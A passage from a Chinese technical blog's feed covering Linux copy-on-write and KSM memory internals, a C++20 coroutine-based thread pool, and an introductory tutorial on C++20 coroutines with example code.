    return wp_page_copy(vmf);
}

// 完整逻辑
static vm_fault_t do_wp_page(struct vm_fault* vmf) __releases(vmf-&amp;gt;ptl) {
    // 获取触发页错误的虚拟内存区域(VMA)
    struct vm_area_struct* vma = vmf-&amp;gt;vma;

    // 检查是否是userfaultfd的写保护页错误
    if (userfaultfd_pte_wp(vma, *vmf-&amp;gt;pte)) {
        pte_unmap_unlock(vmf-&amp;gt;pte, vmf-&amp;gt;ptl);
        return handle_userfault(vmf, VM_UFFD_WP);
    }
    if (unlikely(userfaultfd_wp(vmf-&amp;gt;vma) &amp;amp;&amp;amp; mm_tlb_flush_pending(vmf-&amp;gt;vma-&amp;gt;vm_mm)))
        flush_tlb_page(vmf-&amp;gt;vma, vmf-&amp;gt;address); // 处理userfaultfd延迟的TLB刷新，刷新特定页面的TLB条目

    // 获取与虚拟地址对应的物理页描述符
    vmf-&amp;gt;page = vm_normal_page(vma, vmf-&amp;gt;address, vmf-&amp;gt;orig_pte);
    if (!vmf-&amp;gt;page) {
        // 如果是共享可写映射的特殊页，直接标记为可写
        if ((vma-&amp;gt;vm_flags &amp;amp; (VM_WRITE | VM_SHARED)) == (VM_WRITE | VM_SHARED))
            return wp_pfn_shared(vmf);
        // 否则进行正常的写时复制
        pte_unmap_unlock(vmf-&amp;gt;pte, vmf-&amp;gt;ptl);
        return wp_page_copy(vmf);
    }

    // 优先处理匿名页（Anonymous Pages）
    if (PageAnon(vmf-&amp;gt;page)) {
        struct page* page = vmf-&amp;gt;page;
        // 检查是否KSM页面或存在多个引用
        if (PageKsm(page) || page_count(page) != 1)
            goto copy; // 需要复制
        if (!trylock_page(page))
            goto copy; // 锁定失败则复制
        // 再次检查页面状态
        if (PageKsm(page) || page_mapcount(page) != 1 || page_count(page) != 1) {
            unlock_page(page);
            goto copy; // 状态变化需要复制
        }
        // 满足重用条件：唯一映射+唯一引用+已锁定
        unlock_page(page);
        wp_page_reuse(vmf);    // 直接重用页面
        return VM_FAULT_WRITE; // 返回写错误处理结果
    }
    // 处理共享可写的文件映射页
    else if (unlikely((vma-&amp;gt;vm_flags &amp;amp; (VM_WRITE | VM_SHARED)) == (VM_WRITE | VM_SHARED))) {
        return wp_page_shared(vmf); // 特殊处理共享文件映射
    }

copy:
    get_page(vmf-&amp;gt;page); // 增加页面引用计数
    pte_unmap_unlock(vmf-&amp;gt;pte, vmf-&amp;gt;ptl); // 释放页表锁
    return wp_page_copy(vmf); // 执行实际的页面复制
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;从代码中可以看出，内核会检查页面的引用计数。如果发现这个只读页面实际上只有一个使用者，就没必要大费周章地复制它，直接把它变成可写状态即可。这是一种极致的优化，只有在页面确实被共享且现在需要写入（例如，&lt;code&gt;fork&lt;/code&gt;后父子进程都还存在）的情况下，才会执行真正的复制。&lt;/p&gt;
&lt;h4&gt;3. 零页优化：极致的空间节省艺术&lt;/h4&gt;
&lt;p&gt;​​问题背景​​：进程的&lt;code&gt;BSS段(Block Started by Symbol)&lt;/code&gt;（未初始化的全局/静态变量，在磁盘上​​不占用空间）和匿名映射的只读页，其初始内容通常全为0。如果为每个这样的页面都分配一个物理帧并用0填充，将造成巨大的内存浪费，尤其是对于大量fork()出的子进程。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;零页优化&lt;/strong&gt;：内核预留一个特殊的、内容全为0的物理页面，称为​​零页​​。当需要建立一个映射，且要求页面内容初始化为0时，页表项PTE并不指向一个新分配的物理页，而是指向这个​​全局唯一的零页​​，并标记为​​只读​​。&lt;/li&gt;
&lt;li&gt;写入时：分配新页-&amp;gt;清零-&amp;gt;更新PTE，(清零由页分配器高效完成，比memcpy内存复制O(n)高效，仅内存分配​)​。这也是为什么有人常说全局的int vec[1e7];默认分配为全0而不用手动初始化(doge)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h3&gt;三、空间的艺术：内核同页合并（KSM）&lt;/h3&gt;
&lt;p&gt;在虚拟化和容器化场景中，多个虚拟机或容器可能运行着相同的操作系统和应用程序，导致内存中存在大量内容完全相同的页面。**KSM(Kernel Samepage Merging)**正是为此而生的内存去重技术。&lt;/p&gt;
&lt;h4&gt;1. KSM工作原理&lt;/h4&gt;
&lt;p&gt;KSM的核心是一个名为 &lt;code&gt;ksmd&lt;/code&gt; 的内核守护进程，它会周期性地扫描进程声明可以合并的内存区域，寻找内容相同的页面，并将它们合并为一个物理页面。这个共享页面会被标记为&lt;strong&gt;写时复制（COW）&lt;/strong&gt;。当任何一个进程尝试写入该共享页时，会触发缺页异常，系统会为其分配一个新页面，从而实现“透明”的去重。&lt;/p&gt;
&lt;h4&gt;2. 高效管理：稳定树与不稳定树&lt;/h4&gt;
&lt;p&gt;为了快速查找和管理这些页面，KSM在内部维护了两棵&lt;strong&gt;红黑树&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;稳定树 (Stable Tree)&lt;/strong&gt;：存储已经被合并且内容稳定的共享页面。这些页面是写保护的，内容可靠。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;不稳定树 (Unstable Tree)&lt;/strong&gt;：用作一个临时区域，存放那些内容可能随时变化的候选页面。每次扫描时，新页面会先在这里进行比较和配对，成功合并后，其信息会被移入稳定树。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这种双树结构，既保证了已合并页面的稳定性，又高效地处理了不断变化的候选页面。&lt;/p&gt;
&lt;h4&gt;3. 监控与调优&lt;/h4&gt;
&lt;p&gt;管理员可以通过&lt;code&gt;sysfs&lt;/code&gt;文件系统对KSM进行精细的控制和监控。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 查看KSM状态 (默认是不开启的)
# /bin/bash
for f in /sys/kernel/mm/ksm/*; do
    printf &quot;%-25s: %s\n&quot; &quot;$(basename $f)&quot; &quot;$(cat $f)&quot;;
done
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;通过读写 &lt;code&gt;/sys/kernel/mm/ksm/&lt;/code&gt; 目录下的文件，可以启动/停止&lt;code&gt;ksmd&lt;/code&gt;（&lt;code&gt;run&lt;/code&gt;文件）、调整扫描速度（&lt;code&gt;pages_to_scan&lt;/code&gt;）和扫描周期（&lt;code&gt;sleep_millisecs&lt;/code&gt;），并查看合并成果（&lt;code&gt;pages_shared&lt;/code&gt;, &lt;code&gt;pages_sharing&lt;/code&gt;等）。&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;结论：设计哲学的胜利&lt;/h3&gt;
&lt;p&gt;现代操作系统的虚拟内存管理，是一套在**硬件效率（Radix Tree）、速度（TLB）和空间利用率（稀疏分配、COW、KSM）**之间取得精妙平衡的系统。它遵循着UNIX“少即是多”的哲学，通过分层和优化的设计，为上层应用提供了一个看似简单、实则功能强大的内存环境。&lt;/p&gt;
&lt;p&gt;从为每个进程戴上隔离的“VR眼镜”，到通过写时复制和内存合并等技术在幕后精打细算，虚拟内存机制无疑是现代计算体系中最伟大的工程奇迹之一。&lt;/p&gt;
</content:encoded></item><item><title>基于协程的线程池</title><link>https://blog.alinche.dpdns.org/posts/os/cothreadpool/</link><guid isPermaLink="true">https://blog.alinche.dpdns.org/posts/os/cothreadpool/</guid><description>co_ThreadPool</description><pubDate>Thu, 16 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;#include &amp;lt;atomic&amp;gt;
#include &amp;lt;cassert&amp;gt;
#include &amp;lt;coroutine&amp;gt;
#include &amp;lt;deque&amp;gt;
#include &amp;lt;functional&amp;gt;
#include &amp;lt;iostream&amp;gt;
#include &amp;lt;mutex&amp;gt;
#include &amp;lt;thread&amp;gt;
#include &amp;lt;utility&amp;gt;
#include &amp;lt;vector&amp;gt;

#define NTHREAD 32

// 前向声明
class CoroutineThreadPool;

// 协程任务类型
// [[nodiscard]] 属性提示编译器，如果返回值未被使用，则发出警告
struct [[nodiscard]] CoroutineTask {
  public:
    struct promise_type {
        CoroutineTask get_return_object() {
            return CoroutineTask{std::coroutine_handle&amp;lt;promise_type&amp;gt;::from_promise(*this)};
        }
        std::suspend_always initial_suspend() noexcept { return {}; } // 延迟执行控制+异步任务调度
        std::suspend_always final_suspend() noexcept { return {}; }   // 协程结束后能安全结果获取或异常
        void return_void() noexcept {}
        void unhandled_exception() { std::terminate(); }
    };

  private:
    std::coroutine_handle&amp;lt;promise_type&amp;gt; handle;
    // 私有构造函数，只能由 promise_type 创建
    explicit CoroutineTask(std::coroutine_handle&amp;lt;promise_type&amp;gt; h) : handle(h) {}

  public:
    friend class CoroutineThreadPool;
    friend struct ThreadPoolScheduler;

    bool done() const { return handle.done(); }
    void resume() const {
        if (handle &amp;amp;&amp;amp; !handle.done()) {
            handle.resume();
        }
    }
    // 禁用拷贝
    CoroutineTask(const CoroutineTask&amp;amp;) = delete;
    CoroutineTask&amp;amp; operator=(const CoroutineTask&amp;amp;) = delete;
    // 移动语义
    CoroutineTask(CoroutineTask&amp;amp;&amp;amp; other) noexcept : handle(std::exchange(other.handle, nullptr)) {}
    CoroutineTask&amp;amp; operator=(CoroutineTask&amp;amp;&amp;amp; other) noexcept {
        if (this != &amp;amp;other) {
            if (handle)
                handle.destroy();
            handle = std::exchange(other.handle, nullptr);
        }
        return *this;
    }
    // RAII
    ~CoroutineTask() {
        if (handle) {
            handle.destroy();
        }
    }
};

// Awaitable 对象，用于将协程调度回线程池
struct ThreadPoolScheduler {
    CoroutineThreadPool* pool;

    explicit ThreadPoolScheduler(CoroutineThreadPool* p) noexcept : pool(p) {}

    bool await_ready() const noexcept { return false; }       // 总是挂起以进行重新调度
    void await_suspend(std::coroutine_handle&amp;lt;&amp;gt; handle) const; // 实现放在线程池定义之后
    void await_resume() const noexcept {}
};

// 一个简单的线程安全队列 
template &amp;lt;class T&amp;gt;
class ConcurrentQueue {
    mutable std::mutex mtx;
    std::deque&amp;lt;T&amp;gt; queue;

  public:
    void push(T&amp;amp;&amp;amp; task) {
        std::lock_guard lock(mtx);
        queue.push_back(std::move(task));
    }

    bool pop(T&amp;amp; task) {
        std::lock_guard lock(mtx);
        if (queue.empty())
            return false;
        task = std::move(queue.front());
        queue.pop_front();
        return true;
    }

    bool empty() const {
        std::lock_guard lock(mtx);
        return queue.empty();
    }
};

// 线程池
class CoroutineThreadPool {
  private:
    struct Worker {
        std::thread thread;
    };

    std::vector&amp;lt;Worker&amp;gt; workers;
    ConcurrentQueue&amp;lt;std::function&amp;lt;void()&amp;gt;&amp;gt; task_queue;
    std::atomic&amp;lt;bool&amp;gt; stop_flag{false};

  public:
    CoroutineThreadPool(size_t n = NTHREAD) : workers(n) {
        // 预先启动所有线程，等待任务
        for (auto&amp;amp; worker : workers) {
            worker.thread = std::thread([this] {
                while (!stop_flag) {
                    std::function&amp;lt;void()&amp;gt; task;
                    if (task_queue.pop(task)) {
                        task();
                    } else {
                        // 队列为空时让出 CPU
                        std::this_thread::yield();
                    }
                }
            });
        }
    }

    // 调度一个普通的函数或 Lambda
    template &amp;lt;class Func&amp;gt;
    void schedule(Func&amp;amp;&amp;amp; func) {
        task_queue.push([func = std::forward&amp;lt;Func&amp;gt;(func)] { func(); });
    }

    // 调度一个协程任务（这是协程的入口点）
    void schedule(CoroutineTask&amp;amp;&amp;amp; task) {
        if (task.handle) {
            // 从 task 对象中&quot;窃取&quot;句柄，并将其包装成一个启动任务
            auto handle = std::exchange(task.handle, nullptr);
            task_queue.push([handle] { handle.resume(); });
        }
    }

    // 用于被协程 co_await 重新调度
    void schedule_handle(std::coroutine_handle&amp;lt;&amp;gt; handle) {
        task_queue.push([handle] {
            if (!handle.done()) {
                handle.resume();
            }
            if (handle &amp;amp;&amp;amp; handle.done()) {
                handle.destroy();
            }
        });
    }

    // 返回一个 Awaitable，用于在协程内部通过 `co_await` 进行调度
    ThreadPoolScheduler schedule_on_pool() noexcept { return ThreadPoolScheduler{this}; }

    void shutdown() {
        stop_flag.store(true);
        for (auto&amp;amp; worker : workers) {
            if (worker.thread.joinable()) {
                worker.thread.join();
            }
        }
    }

    ~CoroutineThreadPool() { shutdown(); }
};

// await_suspend 将当前挂起的协程句柄交由线程池重新调度
inline void ThreadPoolScheduler::await_suspend(std::coroutine_handle&amp;lt;&amp;gt; handle) const { pool-&amp;gt;schedule_handle(handle); }

// 示例使用
CoroutineTask example_coroutine(CoroutineThreadPool&amp;amp; pool, int id,std::atomic&amp;lt;int&amp;gt;&amp;amp; counter) {
    std::cout &amp;lt;&amp;lt; &quot;Task &quot; &amp;lt;&amp;lt; id &amp;lt;&amp;lt; &quot; executed 1 on thread &quot; &amp;lt;&amp;lt; std::this_thread::get_id() &amp;lt;&amp;lt; std::endl;
    co_await pool.schedule_on_pool();
    std::cout &amp;lt;&amp;lt; &quot;Task &quot; &amp;lt;&amp;lt; id &amp;lt;&amp;lt; &quot; executed 2 on thread &quot; &amp;lt;&amp;lt; std::this_thread::get_id() &amp;lt;&amp;lt; std::endl;
    std::this_thread::sleep_for(std::chrono::seconds(2));
    counter--;
    co_return;
}

int main() {
    CoroutineThreadPool pool(32);

    std::cout &amp;lt;&amp;lt; &quot;Main thread ID: &quot; &amp;lt;&amp;lt; std::this_thread::get_id() &amp;lt;&amp;lt; std::endl;
    // 调度普通函数
    pool.schedule([] { std::cout &amp;lt;&amp;lt; &quot;Lambda task executed on thread &quot; &amp;lt;&amp;lt; std::this_thread::get_id() &amp;lt;&amp;lt; std::endl; });

    // 调度协程
    const int task_count = 10;
    std::atomic&amp;lt;int&amp;gt; task_counter = task_count;
    for (int i = 0; i &amp;lt; task_count; ++i) {
        std::this_thread::sleep_for(std::chrono::milliseconds(5));
        pool.schedule(example_coroutine(pool, i, task_counter));
    }
    std::cout &amp;lt;&amp;lt; &quot;All tasks scheduled. Main thread will now wait for pool to shutdown.\n&quot;;
    while (task_counter &amp;gt; 0) {
        std::this_thread::yield();
    }
    std::cout &amp;lt;&amp;lt; &quot;\nAll coroutine tasks have completed.\n&quot;;
    pool.shutdown();
    std::cout &amp;lt;&amp;lt; &quot;Pool has been shut down.\n&quot;;
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>协程</title><link>https://blog.alinche.dpdns.org/posts/os/coroutine/</link><guid isPermaLink="true">https://blog.alinche.dpdns.org/posts/os/coroutine/</guid><description>co_</description><pubDate>Thu, 16 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;核心概念：什么是协程？&lt;/h2&gt;
&lt;p&gt;协程是一种可以暂停执行并在稍后恢复执行的函数，将数据分配在堆上保存。与常规函数一旦调用就必须执行到返回不同，协程提供了协作式的多任务处理能力，使得编写异步代码如同编写同步代码一样直观。
在 C++20 中，一个函数只要其内部包含了 &lt;code&gt;co_await&lt;/code&gt;、&lt;code&gt;co_yield&lt;/code&gt; 或 &lt;code&gt;co_return&lt;/code&gt; 这三个关键字中的任何一个，它就成为了一个协程函数。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;co_await&lt;/code&gt;: 暂停协程，等待 &lt;code&gt;expression&lt;/code&gt; 操作完成。这是实现异步的核心。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;co_yield&lt;/code&gt;: 暂停协程，并产生一个值。主要用于实现生成器（Generator）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;co_return&lt;/code&gt;: 结束协程的执行，并返回一个最终值。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;协程的基石：协程框架 (&lt;code&gt;Coroutine Frame&lt;/code&gt;)&lt;/h2&gt;
&lt;p&gt;协程能够暂停和恢复的关键在于它的完整执行状态​​（包括挂起点、局部变量、参数、promise对象等）被保存在了堆上分配的&lt;code&gt;协程帧&lt;/code&gt;，而不是像常规函数一样完全依赖于线程栈。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;当一个协程被调用时，并不会立即执行其函数体内的代码&lt;/strong&gt;。编译器会执行以下关键步骤：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;在堆上分配内存&lt;/strong&gt;：编译器会生成代码，通过 &lt;code&gt;operator new&lt;/code&gt; 在堆上分配一块内存，这块内存被称为“协程框架”或“协程状态”。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;存储协程状态&lt;/strong&gt;：这个框架是一个复合对象，它存储了协程恢复执行所需的一切信息：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;函数参数&lt;/strong&gt;：所有传递给协程的参数都会被复制或移动到协程框架中。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;局部变量&lt;/strong&gt;：在挂起点之间需要保持状态的局部变量。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Promise 对象&lt;/strong&gt;：一个用户定义的对象，用于控制协程的行为，并与调用者通信。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;恢复点信息&lt;/strong&gt;：记录协程暂停的位置，以便下次能从正确的地方恢复。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;其他编译器内部状态&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;这种机制被称为 “无栈协程” (&lt;code&gt;Stackless Coroutines&lt;/code&gt;)，因为协程一旦挂起，它就不再占用调用线程的栈空间，将自身的执行状态存储在堆上的协程帧中，使得系统可以高效地管理成千上万个并发的协程。&lt;/p&gt;
&lt;h2&gt;调用者与协程的交互：堆栈行为&lt;/h2&gt;
&lt;p&gt;理解协程与常规线程栈的交互至关重要：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;初始调用&lt;/strong&gt;：当一个普通函数（调用者）调用一个协程时，仍然会在当前线程的栈上创建一个临时的栈帧。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;挂起与返回&lt;/strong&gt;：当协程执行到第一个挂起点（通常是 &lt;code&gt;co_await&lt;/code&gt;），并且该挂点决定需要暂停时（&lt;code&gt;await_ready()&lt;/code&gt; return false），协程会&lt;code&gt;挂起&lt;/code&gt;。此时，控制权连同协程的返回值（由 &lt;code&gt;promise_type::get_return_object()&lt;/code&gt;提供）会一起&lt;code&gt;返回&lt;/code&gt;给调用者。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;栈帧弹出&lt;/strong&gt;：随着控制权返回，为调用协程而创建的那个临时栈帧就会被pop弹出，&lt;strong&gt;调用线程的栈空间被释放&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;恢复执行&lt;/strong&gt;：协程的恢复是通过 &lt;code&gt;std::coroutine_handle&amp;lt;&amp;gt;&lt;/code&gt; 的 &lt;code&gt;resume()&lt;/code&gt; 方法触发的。恢复操作可以在任何线程上执行，协程并不会回到原来的调用栈，而是&lt;strong&gt;在调用resume()恢复它的线程上下文中继续执行&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;示例代码&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 示例：协程自行管理生命周期（不存储句柄）
struct AsyncTask {
    struct promise_type {
        // 返回空任务对象
        AsyncTask get_return_object() { return {}; } 
        // 立即开始执行
        std::suspend_never initial_suspend() noexcept { return {}; }
        // 协程结束后立即销毁
        std::suspend_never final_suspend() noexcept { return {}; }
        // co_return; 的处理
        void return_void() {} // or void return_value(int) {}
        void unhandled_exception() { std::terminate(); /* 在实际应存储异常 */ }
    };
};

struct TimerAwaitable {
    int delay_ms;
    int m_val{0};

    bool await_ready() const { return false; } // 总是需要等待

    void await_suspend(std::coroutine_handle&amp;lt;&amp;gt; handle) {
        thread([handle, ms = delay_ms, this] {
            std::this_thread::sleep_for(std::chrono::milliseconds(ms));
            m_val = 1;
            handle.resume(); // 恢复协程
        }).detach();
    }

    int await_resume() { return m_val; }
};
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;&lt;strong&gt;深入剖析：协程的组成部分与工作流程&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;C++20 协程的设计更偏向于一个框架，让库的开发者来定义具体的行为。这套框架的核心是 &lt;code&gt;Promise&lt;/code&gt; 对象和 &lt;code&gt;Awaitable&lt;/code&gt; 对象。&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;控制中心：Promise 对象 (&lt;code&gt;promise_type&lt;/code&gt;)&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;每个协程都与一个 Promise 对象关联。这是一个由程序员定义的类（必须命名为 &lt;code&gt;promise_type&lt;/code&gt;），它像一个控制中心，&lt;strong&gt;规定&lt;/strong&gt;了协程的整个生命周期行为。 编译器通过 &lt;code&gt;std::coroutine_traits&amp;lt;&amp;gt;&lt;/code&gt; 模板，根据协程的返回类型来找到对应的 &lt;code&gt;promise_type&lt;/code&gt;。 最常见的做法是在协程的返回类型中内嵌一个 &lt;code&gt;promise_type&lt;/code&gt; 定义。&lt;/p&gt;
&lt;p&gt;一个典型的 &lt;code&gt;promise_type&lt;/code&gt; 包含以下关键函数：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;get_return_object()&lt;/code&gt;: 在协程帧分配完成并初始化后，在执行 initial_suspend() 之前，第一个被调用的函数。它负责创建一个返回给调用者的对象（例如一个 &lt;code&gt;Task&lt;/code&gt; 或 &lt;code&gt;Generator&lt;/code&gt; 对象）。调用者通过这个对象与协程交互。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;initial_suspend() noexcept&lt;/code&gt;: 返回一个 Awaitable 对象，决定协程在开始执行前是否要立即挂起。
&lt;ul&gt;
&lt;li&gt;若返回 &lt;code&gt;std::suspend_always{}&lt;/code&gt;：协程创建后立即挂起，等待被手动 &lt;code&gt;resume()&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;若返回 &lt;code&gt;std::suspend_never{}&lt;/code&gt;：协程创建后立即执行，直到遇到第一个真正的挂起点。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;final_suspend() noexcept&lt;/code&gt;: 返回一个 Awaitable 对象，决定协程在执行完毕（到达 &lt;code&gt;co_return&lt;/code&gt; 或函数体末尾）后是否要挂起。
&lt;ul&gt;
&lt;li&gt;通常返回 &lt;code&gt;std::suspend_always{}&lt;/code&gt;，以保持协程框架存活，使得调用者可以安全地获取协程的结果或异常。之后需要手动销毁句柄。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;return_void()&lt;/code&gt; / &lt;code&gt;return_value(value)&lt;/code&gt;: 当协程执行 &lt;code&gt;co_return;&lt;/code&gt; / &lt;code&gt;co_return value;&lt;/code&gt; 时被调用。用于将结果存入 Promise 对象中，以便调用者获取。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;yield_value(value)&lt;/code&gt;: 当协程执行 &lt;code&gt;co_yield value;&lt;/code&gt; 时被调用。这是 &lt;code&gt;co_yield&lt;/code&gt; 表达式的底层实现。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;unhandled_exception()&lt;/code&gt;: 如果协程内部抛出未被捕获的异常，该函数会被调用，通常用于将异常信息保存起来。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;示例：一个返回类型的基本骨架&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 示例：外部控制协程（存储句柄）
struct AsyncTask {
    struct promise_type {
        // 返回包含句柄的任务对象
        AsyncTask get_return_object() { return AsyncTask(std::coroutine_handle&amp;lt;promise_type&amp;gt;::from_promise(*this)); }
        // 初始挂起，让调用者获得控制权控制何时开始
        std::suspend_always initial_suspend() noexcept { return {}; }
        // 最终挂起，等待调用者销毁
        std::suspend_always final_suspend() noexcept { return {}; }
        void return_void() {} // or void return_value(int) {}
        void unhandled_exception() { terminate(); /* 在实际应存储异常 */ }
    };

    std::coroutine_handle&amp;lt;promise_type&amp;gt; handle; // 持有协程的句柄

    explicit AsyncTask(std::coroutine_handle&amp;lt;promise_type&amp;gt; h) : handle(h) {}
    bool done() const { return handle.done(); }
    void resume() {
        if (handle &amp;amp;&amp;amp; !handle.done()) {
            handle.resume();
        }
    }
    ~AsyncTask() { // RAII
        if (handle) {
            handle.destroy();
        }
    }
};

struct suspend_always {
    constexpr bool await_ready() const noexcept { return false; }
    constexpr void await_suspend(coroutine_handle&amp;lt;&amp;gt;) const noexcept {}
    constexpr void await_resume() const noexcept {}
};
struct suspend_never { 
    constexpr bool await_ready() const noexcept { return true; }
    constexpr void await_suspend(coroutine_handle&amp;lt;&amp;gt;) const noexcept {}
    constexpr void await_resume() const noexcept {}
};
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;strong&gt;挂起的艺术：Awaitable 对象与 &lt;code&gt;co_await&lt;/code&gt;&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;co_await&lt;/code&gt; 关键字后面跟的是一个 Awaitable 对象。这个对象定义了“&lt;strong&gt;如何等待&lt;/strong&gt;”的具体逻辑。 任何实现了特定接口的类型都可以是 Awaitable。这个接口由三个函数组成：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;await_ready() -&amp;gt; bool&lt;/code&gt;: 在挂起协程之前被调用。这个可以做一个优化：如果等待的操作已经完成（例如，数据已在缓存中），它可以返回 &lt;code&gt;true&lt;/code&gt;，这样协程就不会发生实际的挂起和恢复，避免了上下文切换的开销。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;await_suspend(std::coroutine_handle&amp;lt;&amp;gt; handle)&lt;/code&gt;: 当 &lt;code&gt;await_ready()&lt;/code&gt; 返回 &lt;code&gt;false&lt;/code&gt; 时，协程状态被保存，然后此函数被调用。它的核心任务是安排未来的恢复操作。它接收当前协程的句柄 &lt;code&gt;handle&lt;/code&gt;，可以在一个异步操作（如网络请求、文件IO）的回调函数中调用 &lt;code&gt;handle.resume()&lt;/code&gt; 来唤醒协程。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;await_resume()&lt;/code&gt;: 当协程被 &lt;code&gt;resume()&lt;/code&gt; 恢复后，此函数被调用。它的返回值就是整个 &lt;code&gt;co_await&lt;/code&gt; 表达式的结果。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;co_await&lt;/code&gt; 的完整流程：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;计算 &lt;code&gt;co_await&lt;/code&gt; 后的表达式，得到一个 Awaitable 对象。&lt;/li&gt;
&lt;li&gt;调用 Awaitable 的 &lt;code&gt;await_ready()&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;如果返回 &lt;code&gt;true&lt;/code&gt;，流程继续到第 5 步，不发生挂起。&lt;/li&gt;
&lt;li&gt;如果返回 &lt;code&gt;false&lt;/code&gt;，协程挂起，并调用 Awaitable 的 &lt;code&gt;await_suspend(handle)&lt;/code&gt;。这个函数负责启动异步操作，并安排在操作完成时调用 &lt;code&gt;handle.resume()&lt;/code&gt;。然后控制权返回给调用者/恢复者。&lt;/li&gt;
&lt;li&gt;当协程最终被恢复时，执行 &lt;code&gt;await_resume()&lt;/code&gt;，其返回值成为 &lt;code&gt;co_await&lt;/code&gt; 表达式的值。&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;tasks.emplace_back(coroutine(i, 1000));
task.resume();
// [Task]: get_return_object()
// [Task]: initial_suspend(): wait for caller...
// [Coroutine0]: started.
// [Awaitable]: await_ready()
// [Awaitable]: await_suspend()
// ...
// [Awaitable]: await_resume()
// [Coroutine0]: will finish and wait for destruction
// [Task]: return_value()
// [Task]: final_suspend(): wait for destruction...
// 协程 0 完成
// [Task]: Destructor called
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;strong&gt;&lt;code&gt;co_*&lt;/code&gt; 语法糖的本质&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;co_await&lt;/code&gt; &lt;code&gt;co_yield&lt;/code&gt; &lt;code&gt;co_return&lt;/code&gt; 其本质是语法糖。编译器会将这些简洁的关键字&lt;strong&gt;解糖(&lt;code&gt;desugar&lt;/code&gt;)&lt;/strong&gt;，转换成一套复杂的、基于协程框架、Promise 对象和 Awaitable 对象的底层调用。 这种“语法糖”极大地简化了异步编程的复杂性，让程序员可以专注于业务逻辑，而不是繁琐的状态机和回调管理。&lt;/p&gt;
&lt;h2&gt;剖析 std::coroutine_handle 的实现代码&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;coroutine_handle&lt;/code&gt; 的本质：&lt;strong&gt;一个围绕着 &lt;code&gt;void*&lt;/code&gt; 指针的轻量级、非拥有式的包装器，其所有“魔法”操作都委托给了编译器内置函数（&lt;code&gt;__builtin_coro_*&lt;/code&gt;）&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;strong&gt;核心作用：协程的“遥控器”&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;您可以将 &lt;code&gt;coroutine_handle&lt;/code&gt; 想象成一个指向堆上协程状态的“遥控器”或“裸指针”。它本身非常小（只有一个指针的大小），并且&lt;strong&gt;不拥有&lt;/strong&gt;它所指向的协程状态。这意味着 &lt;code&gt;coroutine_handle&lt;/code&gt; 的创建和销毁不会影响协程状态的生命周期。你必须手动管理协程状态的销毁。&lt;/p&gt;
&lt;p&gt;它的主要职责有两个：&lt;/p&gt;
&lt;ol&gt;
